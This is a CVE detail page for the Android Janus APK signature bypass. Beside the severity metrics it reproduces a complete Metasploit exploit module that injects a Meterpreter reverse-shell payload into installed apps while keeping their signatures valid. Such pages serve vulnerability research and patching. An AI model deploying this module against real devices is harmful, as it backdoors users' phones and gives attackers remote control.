CVE-2017-13156 : Detail

CVE-2017-13156

7.8
/
High
File Inclusion
A04-Insecure Design
0.1%V3
Local
2017-12-06
14h00 +00:00
2024-09-17
02h36 +00:00
CVE.org
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CVE Descriptions

An elevation of privilege vulnerability in the Android system (art). Product: Android. Versions: 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0. Android ID A-64211847.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-434 Unrestricted Upload of File with Dangerous Type
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 47601

Publication date : 2019-11-07 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/payload/apk' class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Android::Priv include Msf::Payload::Android def initialize(info={}) super( update_info( info, { 'Name' => "Android Janus APK Signature bypass", 'Description' => %q{ This module exploits CVE-2017-13156 in Android to install a payload into another application. The payload APK will have the same signature and can be installed as an update, preserving the existing data. The vulnerability was fixed in the 5th December 2017 security patch, and was additionally fixed by the APK Signature scheme v2, so only APKs signed with the v1 scheme are vulnerable. Payload handler is disabled, and a multi/handler must be started first. }, 'Author' => [ 'GuardSquare', # discovery 'V-E-O', # proof of concept 'timwr', # metasploit module 'h00die', # metasploit module ], 'References' => [ [ 'CVE', '2017-13156' ], [ 'URL', 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures' ], [ 'URL', 'https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156' ], ], 'DisclosureDate' => 'Jul 31 2017', 'SessionTypes' => [ 'meterpreter' ], 'Platform' => [ 'android' ], 'Arch' => [ ARCH_DALVIK ], 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp', 'AndroidWakelock' => false, # the target may not have the WAKE_LOCK permission 'DisablePayloadHandler' => true, }, 'DefaultTarget' => 0, 'Notes' => { 'SideEffects' => ['ARTIFACTS_ON_DISK', 'SCREEN_EFFECTS'], 'Stability' => ['SERVICE_RESOURCE_LOSS'], # ZTE youtube app won't start anymore } })) register_options([ OptString.new('PACKAGE', [true, 'The package to target, or ALL to attempt all', 'com.phonegap.camerasample']), ]) register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), ] end def check os = cmd_exec("getprop ro.build.version.release") unless Gem::Version.new(os).between?(Gem::Version.new('5.1.1'), Gem::Version.new('8.0.0')) vprint_error "Android version #{os} is not vulnerable." return CheckCode::Safe end vprint_good "Android version #{os} appears to be vulnerable." patch = cmd_exec('getprop ro.build.version.security_patch') if patch.empty? print_status 'Unable to determine patch level. Pre-5.0 this is unaccessible.' elsif patch > '2017-12-05' vprint_error "Android security patch level #{patch} is patched." return CheckCode::Safe else vprint_good "Android security patch level #{patch} is vulnerable" end CheckCode::Appears end def exploit def infect(apkfile) unless apkfile.start_with?("package:") fail_with Failure::BadConfig, 'Unable to locate app apk' end apkfile = apkfile[8..-1] print_status "Downloading APK: #{apkfile}" apk_data = read_file(apkfile) begin # Create an apk with the payload injected apk_backdoor = ::Msf::Payload::Apk.new apk_zip = apk_backdoor.backdoor_apk(nil, payload.encoded, false, false, apk_data, false) # Extract the classes.dex dex_data = '' Zip::File.open_buffer(apk_zip) do |zipfile| dex_data = zipfile.read("classes.dex") end dex_size = dex_data.length # Fix the original APKs zip file code directory cd_end_addr = apk_data.rindex("\x50\x4b\x05\x06") cd_start_addr = apk_data[cd_end_addr+16, cd_end_addr+20].unpack("V")[0] apk_data[cd_end_addr+16...cd_end_addr+20] = [ cd_start_addr+dex_size ].pack("V") pos = cd_start_addr while pos && pos < cd_end_addr offset = apk_data[pos+42, pos+46].unpack("V")[0] apk_data[pos+42...pos+46] = [ offset+dex_size ].pack("V") pos = apk_data.index("\x50\x4b\x01\x02", pos+46) end # Prepend the new classes.dex to the apk out_data = dex_data + apk_data out_data[32...36] = [ out_data.length ].pack("V") out_data = fix_dex_header(out_data) out_apk = "/sdcard/#{Rex::Text.rand_text_alphanumeric 6}.apk" print_status "Uploading APK: #{out_apk}" write_file(out_apk, out_data) register_file_for_cleanup(out_apk) print_status "APK uploaded" # Prompt the user to update the APK session.appapi.app_install(out_apk) print_status "User should now have a prompt to install an updated version of the app" true rescue => e print_error e.to_s false end end unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if datastore["PACKAGE"] == 'ALL' vprint_status('Finding installed packages (this can take a few minutes depending on list of installed packages)') apkfiles = [] all = cmd_exec("pm list packages").split("\n") c = 1 all.each do |package| package = package.split(':')[1] vprint_status("Attempting exploit of apk #{c}/#{all.length} for #{package}") c += 1 next if ['com.metasploit.stage', # avoid injecting into ourself ].include? package # This was left on purpose to be expanded as need be for testing result = infect(cmd_exec("pm path #{package}")) break if result end else infect(cmd_exec("pm path #{datastore["PACKAGE"]}")) end end end

Products Mentioned

Configuraton 0

Google>>Android >> Version 5.1.1

Google>>Android >> Version 6.0

Google>>Android >> Version 6.0.1

Google>>Android >> Version 7.0

Google>>Android >> Version 7.1.1

Google>>Android >> Version 7.1.2

Google>>Android >> Version 8.0

References

http://www.securityfocus.com/bid/102109
Tags : vdb-entry, x_refsource_BID